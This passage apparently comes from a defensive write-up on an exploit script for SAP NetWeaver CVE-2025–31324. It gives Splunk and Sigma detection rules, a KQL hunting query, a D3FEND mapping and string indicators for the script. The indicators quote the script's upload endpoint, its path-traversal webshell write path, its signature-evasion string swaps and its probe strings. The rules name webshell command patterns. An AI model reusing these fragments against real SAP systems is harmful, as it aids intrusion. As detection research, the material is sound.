By combining prompt patching with vigilant monitoring, you can both prevent the exploit and detect any successful use of the script. Organizations should also keep an eye on threat intelligence; this exploit was used by both cybercriminals (for crypto-mining, initial access brokerage) and nation-state actors[66][67], meaning the threat is widespread. New variants of the exploit script may arise, but they will follow the same fundamental patterns outlined above.

In conclusion, the script under analysis is a dangerous but now well-understood weapon. It takes advantage of a SAP zero-day to upload code (often a JSP webshell) to the server, using obfuscation to hide its intent and providing attackers with a foothold in high-value systems. Understanding each function of this script — from payload encoding to HTTP execution — and knowing the traces it leaves, enables defenders to mitigate the risk and respond effectively.

Following MITRE ATT&CK TTPs for the script have been found:

Detection Rules for SAP NetWeaver CVE-2025–31324 Exploitation

SAP NetWeaver Visual Composer Exploitation AttemptSplunk Security Content. This Splunk rule monitors HTTP HEAD and POST requests to the vulnerable SAP NetWeaver Visual Composer endpoint /developmentserver/metadatauploader and flags those returning HTTP 200 OK, which can indicate reconnaissance or an active exploit attempt of CVE-2025–31324[1]. Exploiting this flaw allows unauthenticated attackers to upload arbitrary files (e.g. JSP web shells) and achieve remote code execution, threatening full system compromise[2]. Tags: MITRE T1190 (Exploit Public-Facing Application)[3]. Rulehound Link: SAP NetWeaver Exploitation Attempt

Potential Java WebShell Upload in SAP NetWeaver ServerSigma (platform-agnostic rule). This Sigma rule detects suspicious file upload behavior consistent with CVE-2025–31324 exploitation[4]. It looks for HTTP POST requests with content type application/octet-stream targeting SAP NetWeaver paths (e.g. containing /irj/ and ending in .jsp, .java or .class files) — a pattern indicative of a malicious JSP or Java web shell being uploaded[5][6]. Such activity is abnormal and often precedes an attacker executing the web shell on the server. Tags: T1505.003 (Web Shell on server)[7]. Rulehound Link: Java WebShell Upload Detection.

Detection Rules for JSP Webshell Activity

Potential SAP NetWeaver Webshell Command ExecutionSigma rule. Focused on spotting webshell usage on SAP NetWeaver, this rule watches web server logs for HTTP requests to JSP files in the /irj/servlet_jsp/irj/ directory that contain malicious command parameters[8][9]. It flags common webshell patterns such as query strings starting with cmd=, exec= or command= and containing typical OS command keywords (whoami, uname, ifconfig, etc.) or even echoed Base64 content (e.g. usage of echo with base64 in the query)[10][11]. These indicators suggest an attacker executing system commands via a JSP shell placed on the server. Tags: T1190 (Initial Access via exploit) and T1505.003 (Webshell on server)[12]. Rulehound Link: SAP NetWeaver Webshell Command Exec (Sigma).

Detect Webshell Exploit BehaviorSplunk Security Content. This rule identifies when a web server process spawns an interactive command process, a strong sign of webshell activity. It specifically looks for processes like cmd.exe, powershell.exe or bash being launched by common web server executables (e.g. IIS’s w3wp.exe or Nginx)[13]. Such behavior indicates an attacker may have installed a webshell and is using it to execute commands on the server (for example, an IIS process starting a Windows command shell). Tags: T1505.003 (Webshell)[14]. Rulehound Link: Webshell Exploit Behavior (Splunk).

Suspicious Process By Web Server ProcessSigma rule. This cross-platform detection rule catches parent-child process anomalies associated with webshells or post-exploitation. It monitors for any web server process (including IIS (w3wp.exe), Apache (httpd.exe), or Tomcat’s Java process) spawning unusual child processes like command shells or admin tools[15][16]. For instance, the rule will trigger if a Tomcat Java process (java.exe) launches cmd.exe or /bin/sh on the host. The presence of these child processes (e.g. certutil.exe, bash.exe, cmd.exe, netsh.exe, etc.) under a web server parent is highly indicative of a webshell executing system commands[17][18]. Tags: T1190 and T1505.003 (exploitation leading to web shell activity)[19]. Rulehound Link: Suspicious Process Spawned by Web Server.

[1] [2] [3] Rulehound

[4] [5] [6] [7] Potential Java WebShell Upload in SAP NetViewer Server | Detection.FYI

[8] [9] [10] [11] [12] Potential SAP NetViewer Webshell Command Execution | Detection.FYI

[13] [14] Rulehound

[15] [16] [17] [18] [19] Suspicious Process By Web Server Process | Detection.FYI

SOC Prime automatically generated threat hunting opportunity KQL Microsoft Defender (not yet tested):

DeviceNetworkEvents 
| where ActionType == “ConnectionRequest” and RemoteUrl contains “developmentserver/metadatauploader”
| union (
DeviceFileEvents
| where InitiatingProcessFileName == “java.exe” and FileName endswith “.jsp” and FolderPath contains “/irj/”
)
| union (
DeviceProcessEvents
| where InitiatingProcessFileName == “java.exe” and FileName in (“cmd.exe”, “sh”)
| extend UserAgent = extractxml(@”<data>(.*)</data>”, tostring(EventData))
)
| union (
DeviceNetworkEvents
| where ActionType == “ConnectionRequest” and RemoteUrl contains “/irj/servlet_jsp/irj/root/” and UserAgent in (“Python”, “curl”)
)
| extend Base64EncodedPayload = extractxml(@”<data>(.*)</data>”, tostring(EventData))
| where Base64EncodedPayload !contains “null”
| project-reorder Timestamp, DeviceId, DeviceName, InitiatingProcessFileName, FileName, FolderPath, RemoteUrl, UserAgent, Base64EncodedPayload
| where Timestamp > ago(7d)
| summarize count() by bin(Timestamp, 1h), DeviceId, DeviceName, InitiatingProcessFileName, FileName, FolderPath, RemoteUrl, UserAgent, Base64EncodedPayload
| render timechart

Press enter or click to view image in full size

Attack Flow Countermeasure D3FEND

SAP exploit case into CAD

INSA’s D3FEND CAD workspace:

Attack chain with nodes:

  • Exploit /metadatauploader endpoint (T1190)
  • Upload JSP shell (T1505.003)
  • Execute commands (T1059.003/.004)
  • Maintain persistence (T1505.003 again)
  • Communicate via HTTP (T1071.001)
  • Use obfuscation (T1027/T1140)

D3FEND CAD defensive techniques:

  • D3-WAF: HTTP Request Filtering (mitigates T1190)
  • D3-PM: Patch Management (mitigates T1190)
  • D3-NS: Network Segmentation (delays T1190)
  • D3-FIM: File Integrity Monitoring (detects T1505.003)
  • D3-PSA: Process Spawn Analysis (detects T1059)
  • D3-HAD: HTTP Anomaly Detection (detects T1071.001)
  • D3-CI: Content Inspection (detects T1027/T1140)

Nodes: ATT&CK techniques (T1190, T1505.003, T1059.003/.004, T1071.001, T1027/T1140) and D3FEND patterns (PatchManagement, HTTPRequestFiltering, NetworkSegmentation, FileIntegrityMonitoring, ProcessSpawnAnalysis, ContentInspection, ProtocolAnomalyDetection).

Edges: causal attack flow (enables, uses) and defense relations (prevents, mitigates, detects, restricts) with confidence hints.

Practical workflow for the SAP exploit model

Step 1: Encode your attack chain in ATT&CK notation inside CAD.

Step 2: Drag corresponding D3FEND techniques and connect them with mitigates/detects.

Step 3: Save/export as CAD JSON. This can be imported back into CTID’s Attack Flow Builder or integrated with SIEM/SOAR for automated playbook validation.

Step 4: Use CAD’s scoring: measure how many steps of the SAP exploit are blocked by existing defenses.

Sources

The analysis above is supported by threat intelligence reports and technical details from security researchers[1][11][12][20][56][36], which detail the exploit mechanism, observed payloads, and recommended defenses for CVE-2025–31324.

[1] [5] [7] [19] [22] [25] [36] [54] [56] [58] [59] [62] [64] [65] Exploited! SAP NetWeaver Visual Composer Unauthenticated File-Upload Vulnerability (CVE-2025–31324) — IONIX

[2] [3] [4] [24] [35] [37] [60] [63] [66] New Critical SAP NetWeaver Flaw Exploited to Drop Web Shell, Brute Ratel Framework

[6] [20] [38] [55] [57] Active Exploitation of SAP NetWeaver Visual Composer CVE-2025–31324 | Rapid7 Blog

[8] [9] [10] GitHub — nullcult/CVE-2025–31324-File-Upload: A totally unauthenticated file-upload endpoint in Visual Composer lets anyone drop arbitrary files (e.g., a JSP web-shell) onto the server.

[11] [12] [13] [16] [17] [18] [23] CVE-2025–31324: SAP NetWeaver Remote Code Execution Vulnerability Explained

[14] [21] [27] [39] [40] [41] [42] [43] CVE-2025–31324 SAP Zero-Day Vulnerability | Full Threat Brief

[15] [26] [34] [45] [61] Threat Brief: CVE-2025–31324 (Updated June 25)

[28] [31] [32] [33] [44] [67] China-Nexus Nation State Actors Exploit SAP NetWeaver (CVE-2025–31324) to Target Critical Infrastructures

[29] [30] [46] [47] [48] [49] [50] [51] [52] [53] CVE-2025–31324 in SAP NetWeaver enables malicious file uploads

https://redcanary.com/blog/threat-intelligence/cve-2025-31324/

The blog contains further pseudo code for detection and examples for another way to exploit the vulnerability. IOCs for domains and URL are quite the same, so this would be in combination a good detection opportunity.

NLP/linguistic markers inside the script (useful for YARA/ML signatures)

These are direct strings and stylometry cues present in the code you pasted. They are not proof of attribution by themselves, but they are excellent for detection, clustering, and correlation:

Branding / taunts embedded as prints and banners

  • Repeated banner line (many times):
    MADE BY SCATTERED LAPSUS$ HUNTERS ---- SHINYHUNTERS ----
  • Profane taunt repeatedly printed:
    fuck da CCP man dey stole our 0day frfr

Sociolect / slang / style

  • Use of Gen-Z slang and eye-dialect: “da”, “dey”, “frfr” (“for real, for real”), “0day”.
    → Stylistic fingerprint for clustering similar tooling and lures; can drive NLP features (n-grams, slang dictionaries).

Anti-detection string-mangling hints (useful in code-similarity)

  • Commented mutations intended to defeat static string signatures:
    content.replace(b"ysoserial", b"xsyseryal")
    replace(b"Gadgets", b"Havgets")
    → Explicit awareness of ysoserial/gadget signatures; include as YARA string candidates (even commented code).
  • Random-number substitution placeholder:
    "271345770892700" → replaced with random_numbers at runtime.
    → Regexable numeric token pattern for variant matching.

Endpoint and path fingerprints

  • Exact target path hard-coded:
    "/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1"
  • Webroot write path:
    "../apps/sap.com/irj/servlet_jsp/irj/root/" + SHELL_NAME
    → Strong indicator for SAP NetWeaver Portal/IRJ webshell placement.

Version/probe strings

  • Response probes checked in plaintext:
    "Cause - Getter getOutputProperties"
    "local class serialVersionUID = -7308740002576184038"
    "Found version 7.5"
    → Useful for matching families that adapt payload bytes based on server response.

Operational prints (can surface in logs)

  • On success: "[+] Shell available at {TARGET}/irj/{SHELL_NAME}"
  • Error prints: "[-] Exploit failed!"
    → Greppable markers in attacker console logs and shared screenshots/pastes.

Code structure cues for stylometry

  • Function names that belie author habits: generate_random_filename, sendReq.
  • Splitting serialized payload into three Base64 chunks h1, h2, tail, then concatenating: a reusable pattern across variants.

How to use these NLP cues

  • YARA/Sigma strings: include exact banners, slang phrases, endpoint path, webroot path, and the “ysoserial/xsyseryal” replacement line (even commented) as low-noise indicators.
  • NLP feature extraction: token/character n-grams for “frfr”, “0day”, “dey/da”, repeated em-dash banners; profanity lexicon hits; capitalization patterns.
  • Clustering: combine the above with code-structure fingerprints (three-part Base64 blobs, version-conditional byte swap) to group related samples and scripts.
  • Honeypots: plant decoy /developmentserver/metadatauploader endpoints that log full bodies; parse for above strings to immediately fingerprint tooling.